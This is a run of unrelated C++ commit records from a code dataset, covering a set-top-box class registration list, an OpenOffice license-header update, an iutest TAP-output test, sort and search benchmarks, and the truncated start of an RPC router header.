PLATFORM_STAPI\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(stapi::HardwareCipherKey);\n#endif\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(PushVODEmulationMovie);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(FileSystemRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(rpc::UrlObjectId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBCBandInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBTBandInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBServiceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegRadioChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegService);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegTVChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegAudioSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegDataCarouselSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegPcrSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegSubtitlesSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextBasedSubtitlesSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegVideoSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanPerformerFactory);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DreCasGeographicRegion);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidScanPerformerFactory);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(StreamableServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TerrestrialScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorGeographicRegion);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorScanPerformerFactory);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TerrestrialServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(AutoCreatedListMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Detail::any::ObjectHolder<stingray::StatisticChannelInfo>);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(PlaybackStreamContent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RecordStreamContent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RecordStreamMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BuiltinTimeSourceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TDTTimeSourceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TransportTimeOffset);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(CircuitedTunerState);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LockedTunerState);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(UnlockedTunerState);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBCTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Antenna);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBSTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Satellite);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBTTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TsOverIpTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(VersionRequirement);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(CopyFile);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(EraseFlashPartition);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MountFilesystem);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MoveFile);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RemoveFile);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(UnmountFilesystem);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(WriteFlashPartition);\n#endif\n\t}\n}}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: editxml.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: cl $ $Date: 2001-07-20 13:49:51 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _SVX_EDITXML_HXX\n#define _SVX_EDITXML_HXX\n\nclass EditEngine;\nclass SvStream;\nstruct ESelection;\n\n\/** this function exports the selected content of an edit engine into a xml stream*\/\nextern void SvxWriteXML( EditEngine& rEditEngine, SvStream& rStream, const ESelection& rSel );\n\n\/** this function imports xml from the stream into the selected of an edit engine *\/\nextern void SvxReadXML( EditEngine& rEditEngine, SvStream& rStream, const ESelection& rSel );\n\n#endif\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.1654); FILE MERGED 2005\/09\/05 14:25:03 rt 1.2.1654.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: editxml.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 23:13:22 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _SVX_EDITXML_HXX\n#define _SVX_EDITXML_HXX\n\nclass EditEngine;\nclass SvStream;\nstruct ESelection;\n\n\/** this function exports the selected content of an edit engine into a xml stream*\/\nextern void SvxWriteXML( EditEngine& rEditEngine, SvStream& rStream, const ESelection& rSel );\n\n\/** this function imports xml from the stream into the selected of an edit engine *\/\nextern void SvxReadXML( EditEngine& rEditEngine, SvStream& rStream, const ESelection& rSel );\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>fix warnings in glog symbolize<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>From Olivier: - in TPad::x3d: delete fViewer3D, if it exists, before creating a new 3D<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/======================================================================\r\n\/\/-----------------------------------------------------------------------\r\n\/**\r\n * @file\t\tiutest_tap_printer_listener_tests.cpp\r\n * @brief\t\tTAPPrintListener test\r\n *\r\n * @author\t\tt.shirayanagi\r\n * @par\t\t\tcopyright\r\n * Copyright (C) 2014, Takazumi Shirayanagi\\n\r\n * This software is released under the new BSD License,\r\n * see LICENSE\r\n*\/\r\n\/\/-----------------------------------------------------------------------\r\n\/\/======================================================================\r\n\r\n\/\/======================================================================\r\n\/\/ include\r\n#include \"iutest.hpp\"\r\n#include \"..\/include\/listener\/iutest_tap_printer.hpp\"\r\n#include \"iutest_logger_tests.hpp\"\r\n\r\n#if !defined(IUTEST_USE_GTEST) && IUTEST_HAS_STRINGSTREAM && IUTEST_HAS_ASSERTION_RETURN\r\n# define TAP_TEST\t1\r\n#else\r\n# define TAP_TEST\t0\r\n#endif\r\n\r\n#if TAP_TEST\r\n\r\nclass FileIO : public ::iutest::StringStreamFile\r\n{\r\npublic:\r\n\tstatic ::std::string s_io;\r\n\r\n\tvirtual void Close()\r\n\t{\r\n\t\ts_io += ss.str();\r\n\t}\r\n};\r\n\r\n::std::string FileIO::s_io;\r\n\r\nIUTEST_FILESYSTEM_INSTANTIATE(FileIO);\r\n\r\n\r\nconst char tap_test_str[] = \r\n\"# Foo started.\\n\"\r\n\"ok 1 - Ok\\n\"\r\n\"# Foo ended.\\n\"\r\n\"1..1\\n\"\r\n\"# Bar started.\\n\"\r\n\"ok 1 # SKIP - DISABLED_Ng\\n\"\r\n\"# Bar ended.\\n\"\r\n\"1..1\\n\"\r\n;\r\n\r\nIUTEST(Foo, Ok)\r\n{\r\n\tIUTEST_SUCCEED() << \"not show.\";\r\n}\r\n\r\nIUTEST(Bar, DISABLED_Ng)\r\n{\r\n\tIUTEST_FAIL() << \"show failed.\\n test.\";\r\n}\r\n\r\n#endif\r\n\r\n\r\n#ifdef UNICODE\r\nint wmain(int argc, wchar_t* argv[])\r\n#else\r\nint main(int argc, char* argv[])\r\n#endif\r\n{\r\n#if TAP_TEST\r\n\r\n\tIUTEST_INIT(&argc, argv);\r\n#if defined(OUTPUTXML)\r\n\t\/\/ 失敗テストを含むので xml 出力しない\r\n\t::iutest::IUTEST_FLAG(output) = NULL;\r\n#endif\r\n\r\n#if !defined(IUTEST_USE_GTEST)\r\n\t::iutest::TAPFileGeneratorListener::SetUp();\r\n#endif\r\n\r\n\t{\r\n\t\tif( IUTEST_RUN_ALL_TESTS() != 0 ) return 1;\t\r\n\t\r\n#if !defined(IUTEST_USE_GTEST)\r\n\t\tIUTEST_EXPECT_STREQ(tap_test_str, FileIO::s_io.c_str());\r\n\t\tFileIO::s_io.clear();\r\n#endif\r\n\t\tif( ::iutest::UnitTest::GetInstance()->Failed() ) return 1;\r\n\t}\r\n\r\n\t{\r\n\t\t::iutest::IUTEST_FLAG(filter) = \"*Hoge*\";\r\n\t\t::iutest::IUTEST_FLAG(also_run_disabled_tests) = false;\r\n\t\tif( IUTEST_RUN_ALL_TESTS() != 0 ) return 1;\t\r\n\t\r\n#if !defined(IUTEST_USE_GTEST) && IUTEST_HAS_ASSERTION_RETURN\r\n\t\tIUTEST_EXPECT_STRIN(\"*Hoge*\", FileIO::s_io.c_str()) << ::iutest::AssertionReturn<int>(1);\r\n\t\tFileIO::s_io.clear();\r\n#endif\r\n\t}\r\n\r\n\t{\r\n\t\t::iutest::IUTEST_FLAG(filter) = NULL;\r\n\t\t::iutest::IUTEST_FLAG(also_run_disabled_tests) = true;\r\n\t\tif( IUTEST_RUN_ALL_TESTS() == 0 ) return 1;\t\r\n\t\r\n#if !defined(IUTEST_USE_GTEST) && IUTEST_HAS_ASSERTION_RETURN\r\n\t\tIUTEST_EXPECT_STRIN(\"not ok\", FileIO::s_io.c_str()) << ::iutest::AssertionReturn<int>(1);\r\n\t\tIUTEST_EXPECT_STRIN(\"show failed., test.\", FileIO::s_io.c_str()) << ::iutest::AssertionReturn<int>(1);\r\n\t\tFileIO::s_io.clear();\r\n#endif\r\n\t}\r\n\r\n\tprintf(\"*** Successful ***\\n\");\r\n#else\r\n\t(void)argc;\r\n\t(void)argv;\r\n\tprintf(\"*** TAP_TEST=0 ***\\n\");\r\n#endif\r\n\treturn 0;\r\n}\r\n<commit_msg>update r749<commit_after>\/\/======================================================================\r\n\/\/-----------------------------------------------------------------------\r\n\/**\r\n * @file\t\tiutest_tap_printer_listener_tests.cpp\r\n * @brief\t\tTAPPrintListener test\r\n *\r\n * @author\t\tt.shirayanagi\r\n * @par\t\t\tcopyright\r\n * Copyright (C) 2014, Takazumi Shirayanagi\\n\r\n * This software is released under the new BSD License,\r\n * see LICENSE\r\n*\/\r\n\/\/-----------------------------------------------------------------------\r\n\/\/======================================================================\r\n\r\n\/\/======================================================================\r\n\/\/ include\r\n#include \"iutest.hpp\"\r\n#include \"..\/include\/listener\/iutest_tap_printer.hpp\"\r\n#include \"iutest_logger_tests.hpp\"\r\n\r\n#if !defined(IUTEST_USE_GTEST) && IUTEST_HAS_STRINGSTREAM && IUTEST_HAS_ASSERTION_RETURN\r\n# define TAP_TEST\t1\r\n#else\r\n# define TAP_TEST\t0\r\n#endif\r\n\r\n#if TAP_TEST\r\n\r\nclass FileIO : public ::iutest::StringStreamFile\r\n{\r\npublic:\r\n\tstatic ::std::string s_io;\r\n\r\n\tvirtual void Close()\r\n\t{\r\n\t\ts_io += ss.str();\r\n\t}\r\n};\r\n\r\n::std::string FileIO::s_io;\r\n\r\nIUTEST_FILESYSTEM_INSTANTIATE(FileIO);\r\n\r\n\r\nconst char tap_test_str[] = \r\n\"# Foo started.\\n\"\r\n\"ok 1 - Ok\\n\"\r\n\"# Foo ended.\\n\"\r\n\"1..1\\n\"\r\n\"# Bar started.\\n\"\r\n\"ok 1 # SKIP - DISABLED_Ng\\n\"\r\n\"# Bar ended.\\n\"\r\n\"1..1\\n\"\r\n;\r\n\r\nIUTEST(Foo, Ok)\r\n{\r\n\tIUTEST_SUCCEED() << \"not show.\";\r\n}\r\n\r\nIUTEST(Bar, DISABLED_Ng)\r\n{\r\n\tIUTEST_FAIL() << \"show failed.\\n test.\";\r\n}\r\n\r\n#endif\r\n\r\n\r\n#ifdef UNICODE\r\nint wmain(int argc, wchar_t* argv[])\r\n#else\r\nint main(int argc, char* argv[])\r\n#endif\r\n{\r\n#if TAP_TEST\r\n\r\n\tIUTEST_INIT(&argc, argv);\r\n\t\/\/ xml 出力しない\r\n\t::iutest::IUTEST_FLAG(output) = NULL;\r\n\r\n#if !defined(IUTEST_USE_GTEST)\r\n\t::iutest::TAPFileGeneratorListener::SetUp();\r\n#endif\r\n\r\n\t{\r\n\t\tif( IUTEST_RUN_ALL_TESTS() != 0 ) return 1;\t\r\n\t\r\n#if !defined(IUTEST_USE_GTEST)\r\n\t\tIUTEST_EXPECT_STREQ(tap_test_str, FileIO::s_io.c_str());\r\n\t\tFileIO::s_io.clear();\r\n#endif\r\n\t\tif( ::iutest::UnitTest::GetInstance()->Failed() ) return 1;\r\n\t}\r\n\r\n\t{\r\n\t\t::iutest::IUTEST_FLAG(filter) = \"*Hoge*\";\r\n\t\t::iutest::IUTEST_FLAG(also_run_disabled_tests) = false;\r\n\t\tif( IUTEST_RUN_ALL_TESTS() != 0 ) return 1;\t\r\n\t\r\n#if !defined(IUTEST_USE_GTEST) && IUTEST_HAS_ASSERTION_RETURN\r\n\t\tIUTEST_EXPECT_STRIN(\"*Hoge*\", FileIO::s_io.c_str()) << ::iutest::AssertionReturn<int>(1);\r\n\t\tFileIO::s_io.clear();\r\n#endif\r\n\t}\r\n\r\n\t{\r\n\t\t::iutest::IUTEST_FLAG(filter) = NULL;\r\n\t\t::iutest::IUTEST_FLAG(also_run_disabled_tests) = true;\r\n\t\tif( IUTEST_RUN_ALL_TESTS() == 0 ) return 1;\t\r\n\t\r\n#if !defined(IUTEST_USE_GTEST) && IUTEST_HAS_ASSERTION_RETURN\r\n\t\tIUTEST_EXPECT_STRIN(\"not ok\", FileIO::s_io.c_str()) << ::iutest::AssertionReturn<int>(1);\r\n\t\tIUTEST_EXPECT_STRIN(\"show failed., test.\", FileIO::s_io.c_str()) << ::iutest::AssertionReturn<int>(1);\r\n\t\tFileIO::s_io.clear();\r\n#endif\r\n\t}\r\n\r\n\tprintf(\"*** Successful ***\\n\");\r\n#else\r\n\t(void)argc;\r\n\t(void)argv;\r\n\tprintf(\"*** TAP_TEST=0 ***\\n\");\r\n#endif\r\n\treturn 0;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include \"benchmark\/benchmark_api.h\"\n#include \"test_configs.h\"\n#include \"test_utils.h\"\n\n#include<algorithm>\n#include<deque>\n#include<list>\n#include<vector>\n\n\/\/ TODO: reverse, rotate, shuffle, lower_bound, upper_bound\n\/\/ uninitialized_fill, uninitialized_copy\n\/\/ change data type (int, double, class { int, int }, and compare\n\/\/ algorithms.\n\n#ifndef NDEBUG\n#include<iostream>\ntemplate<typename T>\nstd::ostream& operator<<(std::ostream& os,const std::vector<T>& v)\n{\n for(typename std::vector<T>::const_iterator i = v.begin(); i!= v.end(); ++i)\n os<<*i<<' ';\n os<< \"\\n\";\n return os;\n}\n#endif\n\ntemplate<typename V>\nvoid BM_sort_std(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_random(v);\n while (state.KeepRunning()) {\n std::sort(v.begin(), v.end());\n }\n state.SetComplexityN(N);\n}\n\n\/\/ Sort (a sequence in ascending order) in ascending order.\ntemplate<typename V>\nvoid BM_sort_std_ascending(benchmark::State& state) {\n int N = state.range(0);\n using T = typename V::value_type;\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n std::sort(v.begin(), v.end(), std::less<T>());\n }\n state.SetComplexityN(N);\n}\n\n\/\/ Sort (a sequence in ascending order) in descending order.\ntemplate<typename V>\nvoid BM_sort_std_descending(benchmark::State& state) {\n int N = state.range(0);\n using T = typename V::value_type;\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n std::sort(v.begin(), v.end(), std::greater<T>());\n }\n state.SetComplexityN(N);\n}\n\ntemplate<typename V>\nvoid BM_sort_stable(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_random(v);\n while (state.KeepRunning()) {\n std::stable_sort(v.begin(), v.end());\n }\n state.SetComplexityN(N);\n}\n\n\ntemplate<typename V>\nvoid BM_search_linear(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n \/\/ searching for all the elements.\n for (int i = 0; i < N; ++i) {\n auto j = std::find(v.begin(), v.end(), i);\n benchmark::DoNotOptimize(j);\n assert(std::distance(v.begin(), j) == i); \/\/ j is the i-th element in v\n }\n }\n state.SetComplexityN(N);\n}\n\ntemplate<typename V>\nvoid BM_search_binary(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n \/\/ searching for all the elements.\n for (int i = 0; i < N; ++i) {\n auto j = std::lower_bound(v.begin(), v.end(), i);\n benchmark::DoNotOptimize(j);\n assert(std::distance(v.begin(), j) == i); \/\/ j is the i-th element in v\n }\n }\n state.SetComplexityN(N);\n}\n\nstatic const int MSize = L1;\n\n#define COMPLEXITY_BENCHMARK_GEN_T(T) \\\n COMPLEXITY_BENCHMARK_GEN(BM_search_linear, std::vector<T>, MSize); \\\n COMPLEXITY_BENCHMARK_GEN(BM_search_linear, std::list<T>, MSize); \\\n COMPLEXITY_BENCHMARK_GEN(BM_search_linear, std::deque<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_search_binary, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_search_binary, std::list<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_search_binary, std::deque<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_std, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_std_ascending, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_std_descending, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_stable, std::vector<T>, MSize);\n\n\/\/ TODO: Find a better name for TYPED_BENCHMARK\n\nCOMPLEXITY_BENCHMARK_GEN_T(int)\n\/\/COMPLEXITY_BENCHMARK_GEN_T(double)\nCOMPLEXITY_BENCHMARK_GEN_T(aggregate)\n\nBENCHMARK_MAIN()\n<commit_msg>adding sorting of std::list with the help of a vector<commit_after>#include \"benchmark\/benchmark_api.h\"\n#include \"test_configs.h\"\n#include \"test_utils.h\"\n\n#include<algorithm>\n#include<deque>\n#include<list>\n#include<vector>\n\n\/\/ TODO: reverse, rotate, shuffle, lower_bound, upper_bound\n\/\/ uninitialized_fill, uninitialized_copy\n\/\/ change data type (int, double, class { int, int }, and compare\n\/\/ algorithms.\n\n#ifndef NDEBUG\n#include<iostream>\ntemplate<typename T>\nstd::ostream& operator<<(std::ostream& os,const std::vector<T>& v)\n{\n for(typename std::vector<T>::const_iterator i = v.begin(); i!= v.end(); ++i)\n os<<*i<<' ';\n os<< \"\\n\";\n return os;\n}\n#endif\n\ntemplate<typename V>\nvoid BM_sort_std(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_random(v);\n while (state.KeepRunning()) {\n std::sort(v.begin(), v.end());\n }\n state.SetComplexityN(N);\n}\n\ntemplate<typename V>\nvoid BM_sort_std_list_with_vector(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_random(v);\n using T = typename V::value_type;\n \/\/ Copy the contents into a vector\n while (state.KeepRunning()) {\n std::vector<T> vec(v.begin(), v.end());\n \/\/ Sort the vector\n std::sort(vec.begin(), vec.end());\n \/\/ Put the item back in the list\n v.assign(vec.begin(), vec.end());\n }\n state.SetComplexityN(N);\n}\n\n\/\/ Sort (a sequence in ascending order) in ascending order.\ntemplate<typename V>\nvoid BM_sort_std_ascending(benchmark::State& state) {\n int N = state.range(0);\n using T = typename V::value_type;\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n std::sort(v.begin(), v.end(), std::less<T>());\n }\n state.SetComplexityN(N);\n}\n\n\/\/ Sort (a sequence in ascending order) in descending order.\ntemplate<typename V>\nvoid BM_sort_std_descending(benchmark::State& state) {\n int N = state.range(0);\n using T = typename V::value_type;\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n std::sort(v.begin(), v.end(), std::greater<T>());\n }\n state.SetComplexityN(N);\n}\n\ntemplate<typename V>\nvoid BM_sort_stable(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_random(v);\n while (state.KeepRunning()) {\n std::stable_sort(v.begin(), v.end());\n }\n state.SetComplexityN(N);\n}\n\n\ntemplate<typename V>\nvoid BM_search_linear(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n \/\/ searching for all the elements.\n for (int i = 0; i < N; ++i) {\n auto j = std::find(v.begin(), v.end(), i);\n benchmark::DoNotOptimize(j);\n assert(std::distance(v.begin(), j) == i); \/\/ j is the i-th element in v\n }\n }\n state.SetComplexityN(N);\n}\n\ntemplate<typename V>\nvoid BM_search_binary(benchmark::State& state) {\n int N = state.range(0);\n V v(N);\n fill_seq(v);\n while (state.KeepRunning()) {\n \/\/ searching for all the elements.\n for (int i = 0; i < N; ++i) {\n auto j = std::lower_bound(v.begin(), v.end(), i);\n benchmark::DoNotOptimize(j);\n assert(std::distance(v.begin(), j) == i); \/\/ j is the i-th element in v\n }\n }\n state.SetComplexityN(N);\n}\n\nstatic const int MSize = L1;\n\n#define COMPLEXITY_BENCHMARK_GEN_T(T) \\\n COMPLEXITY_BENCHMARK_GEN(BM_search_linear, std::vector<T>, MSize); \\\n COMPLEXITY_BENCHMARK_GEN(BM_search_linear, std::list<T>, MSize); \\\n COMPLEXITY_BENCHMARK_GEN(BM_search_linear, std::deque<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_search_binary, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_search_binary, std::list<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_search_binary, std::deque<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_std, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_std_ascending, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_std_descending, std::vector<T>, MSize);\\\n COMPLEXITY_BENCHMARK_GEN(BM_sort_stable, std::vector<T>, MSize);\n\n\/\/ TODO: Find a better name for TYPED_BENCHMARK\n\nCOMPLEXITY_BENCHMARK_GEN_T(int)\n\/\/COMPLEXITY_BENCHMARK_GEN_T(double)\nCOMPLEXITY_BENCHMARK_GEN_T(aggregate)\n\nCOMPLEXITY_BENCHMARK_GEN(BM_sort_std_list_with_vector, std::list<int>, MSize);\nCOMPLEXITY_BENCHMARK_GEN(BM_sort_std_list_with_vector, std::list<aggregate>, MSize);\n\nBENCHMARK_MAIN()\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <iostream>\n#include <unordered_map>\n#include <map>\n#include <tuple>\n#include <type_traits>\n#include \"base\/header.hpp\"\n#include \"base\/function_traits.hpp\"\n#include \"base\/thread_pool.hpp\"\n#include \"base\/logger.hpp\"\n#include \"base\/singleton.hpp\"\n#include \"base\/serialize_util.hpp\"\n#include \"connection.hpp\"\n\nnamespace czrpc\n{\nnamespace server\n{\nclass invoker_function\n{\npublic:\n using function_t = std::function<void(const message_ptr&, message_ptr&)>;\n invoker_function() = default;\n invoker_function(const function_t& func) : func_(func) {}\n\n void operator()(const std::string& call_id, const std::string& message_name, \n const std::string& body, const connection_ptr& conn)\n {\n try\n {\n message_ptr out_message;\n func_(serialize_util::singleton::get()->deserialize(message_name, body), out_message);\n std::string in_message_name = out_message->GetDescriptor()->full_name();\n std::string in_body = serialize_util::singleton::get()->serialize(out_message);\n if (!in_message_name.empty() && !in_body.empty())\n {\n conn->async_write(response_content{ call_id, in_message_name, in_body });\n }\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n conn->disconnect();\n }\n }\n\nprivate:\n function_t func_ = nullptr;\n};\n\nclass invoker_function_raw\n{\npublic:\n using function_t = std::function<void(const std::string&, std::string&)>;\n invoker_function_raw() = default;\n invoker_function_raw(const function_t& func) : func_(func) {}\n\n void operator()(const std::string& call_id, const std::string& body, const connection_ptr& conn)\n {\n try\n {\n std::string out_body;\n func_(body, out_body);\n if (!out_body.empty())\n {\n conn->async_write(response_content{ call_id, \"\", out_body });\n }\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n conn->disconnect();\n }\n }\n\nprivate:\n function_t func_ = nullptr;\n};\n\nclass router\n{\n DEFINE_SINGLETON(router);\npublic:\n router() = default;\n\n void multithreaded(std::size_t num)\n {\n threadpool_.init_thread_num(num);\n }\n\n void stop()\n {\n threadpool_.stop();\n }\n\n template<typename Function>\n void bind(const std::string& protocol, const Function& func)\n {\n bind_non_member_func(protocol, func);\n }\n\n template<typename Function, typename Self>\n void bind(const std::string& protocol, const Function& func, Self* self)\n {\n bind_member_func(protocol, func, self); \n }\n\n void unbind(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n invoker_map_.erase(protocol);\n }\n\n bool is_bind(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n auto iter = invoker_map_.find(protocol);\n if (iter != invoker_map_.end())\n {\n return true;\n }\n return false;\n }\n\n template<typename Function>\n void bind_raw(const std::string& protocol, const Function& func)\n {\n bind_non_member_func_raw(protocol, func);\n }\n\n template<typename Function, typename Self>\n void bind_raw(const std::string& protocol, const Function& func, Self* self)\n {\n bind_member_func_raw(protocol, func, self); \n }\n\n void unbind_raw(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n invoker_raw_map_.erase(protocol);\n }\n\n bool is_bind_raw(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n auto iter = invoker_raw_map_.find(protocol);\n if (iter != invoker_raw_map_.end())\n {\n return true;\n }\n return false;\n }\n\n bool route(const request_content& content, const client_flag& flag, const connection_ptr& conn)\n {\n if (flag.type == client_type::rpc_client)\n {\n if (flag.mode == 